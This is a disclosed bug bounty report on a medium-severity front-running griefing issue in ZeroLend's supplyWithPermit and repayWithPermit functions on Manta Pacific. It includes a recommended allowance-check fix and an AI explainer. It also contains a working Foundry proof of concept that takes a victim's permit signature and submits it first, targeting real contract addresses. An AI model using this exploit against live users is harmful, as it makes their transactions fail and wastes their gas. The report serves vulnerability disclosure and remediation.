Attacker can invalidate users supplyWithPermit
The supplyWithPermit and repayWithPermit functions rely on an ERC20 permit signature, and an attacker who sees that signature in the mempool can submit the permit call themselves first. This consumes the victim's nonce, so the victim's later transaction reverts.
- Disclosed after under an hour
28938 - [SC - Medium] Attacker can invalidate users supplyWithPermit ...
Submitted on Mar 2nd 2024 at 12:59:17 UTC by @Norah for Boost | ZeroLend
Report ID: #28938
Report type: Smart Contract
Report severity: Medium
Target: https://pacific-explorer.manta.network/address/0x8676e39B5D2f0d6E0d78a4208a0cCBc50504972e
Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
- Where:
- [supplyWithPermit()]
- [repayWithPermit()]
- (https://pacific-explorer.manta.network/address/0x8676e39B5D2f0d6E0d78a4208a0cCBc50504972e?tab=contract)
- Expected behavior:
- The
supplyWithPermit()andrepayWithPermit()functions utilises the permit function so that approve and pull operations can happen in a single transaction instead of two consecutive transactions.
- The
Vulnerability Details
- Attack:
ERC20Permituses the nonces mapping for replay protection. Once a signature is verified and approved, the nonce increases, invalidating the same signature being replayed.supplyWithPermit()expects the holder to sign their tokens and provide the signature in function parameter.- When a
supplyWithPermit()transaction is in the mempool, an attacker can take this signature, call thepermitfunction on the token themselves. - Since this is a valid signature, the token accepts it and increases the nonce.
- As a result victim transaction will revert, whenever it gets mined becuase the nonce has been already use.
- Check POC for more detail.
Impact Details
- Attacker can invalidate users
supplyWithPermit()andrepayWithPermit()transactions. - While Attacker does not profit from this, it harms users (gas fee and opportunity cost) and protocols reputation.
Recommendation
- In
repayWithPermitandsupplyWithPermitfunction, check if it has the approval it needs. If not, then only submit the permit signature.
if (IERC20(address(asset)).allowance(msg.sender,address(this)) < amount) {
IERC20WithPermit(asset).permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS);
}
- Given the fix is simple, I would suggest to implement it as there is also possibility that sophisticated attacker might uses this to delay users
repay()transaction and gain advantage.
References
Add any relevant links to documentation or code
Proof of Concept
- Following is POCs demonstrating the attack vector on Manta-Pacific fork in foundry..
- To recreate please enter your RPC, and then run "forge test"
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test,console2} from "forge-std/Test.sol";
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function DOMAIN_SEPARATOR() external view returns(bytes32);
function nonces(address) external view returns(uint256);
}
interface IPool {
function supplyWithPermit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode,
uint256 deadline,
uint8 permitV,
bytes32 permitR,
bytes32 permitS
) external;
}
contract GreifingAttack is Test {
//RPC URL
string RPC_URL = ""; //Enter your RPC here
IPool Pool = IPool(0x2f9bB73a8e98793e26Cb2F6C4ad037BDf1C6B269);
IERC20 Asset = IERC20(0x95CeF13441Be50d20cA4558CC0a27B601aC544E5);
uint256 constant VICTIM_PRIVATE_KEY = 0xCCCC;
address victim = vm.addr(VICTIM_PRIVATE_KEY);
bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
function setUp() public {
uint256 ForkId = vm.createFork(RPC_URL);
vm.selectFork(ForkId);
deal(address(Asset), victim, 1000 ether);
}
function testPermitExploit() public {
vm.startPrank(victim);
//the happy path
//victim adds liquidity with their sign using permit functionality
uint amount = 1000 ether;
bytes32 domainSeparator = Asset.DOMAIN_SEPARATOR();
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
VICTIM_PRIVATE_KEY,
keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
victim,
address(Pool),
amount,
Asset.nonces(victim),
block.timestamp
)
)
)
)
);
uint256 snapshot = vm.snapshot();
// the victim calls the supplywithPermit function
// with the signed permit and it succeeds as expected
Pool.supplyWithPermit(address(Asset),amount,victim,0,block.timestamp,v,r,s);
vm.revertTo(snapshot);
//The griefing attack
//Now, Before the victim's transaction gets accepted
//the attacker takes the signature and submits it themselves
uint256 nonceBefore = Asset.nonces(victim);
Asset.permit(victim, address(Pool), amount, block.timestamp, v, r, s);
//this ends up increasing the victim nonce
assertEq(Asset.nonces(victim), nonceBefore + 1);
//now when victim's transaction will be reverted,
//because the nonce is already used
vm.startPrank(victim);
vm.expectRevert("ERC20Permit: invalid signature");
Pool.supplyWithPermit(address(Asset),amount,victim,0,block.timestamp,v,r,s);
vm.stopPrank();
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the contract always calls permit inside supplyWithPermit and repayWithPermit without first checking whether the allowance already exists, so a front-run permit consumes the nonce.
Impact
An attacker can invalidate a user's supplyWithPermit and repayWithPermit transactions, costing the user gas and opportunity, though the attacker gains no direct profit.
What the attacker needed
Attacker can see pending transactions; victim submits a permit-based transaction
The fix
The functions should check the existing allowance first and only call permit when the allowance is insufficient.
How it was found
- Victim signs a permit and submits supplyWithPermit, which sits in the mempool.
- Attacker copies the signature and calls permit on the token directly.
- The token accepts the valid signature and increments the victim's nonce.
- Victim's supplyWithPermit is mined and reverts because the nonce is already used.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A permit signature lets someone approve token spending without a separate approval transaction. Because each signature can only be used once, an attacker who copies it from the pending transaction queue can use it up first, making the victim's own transaction fail.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.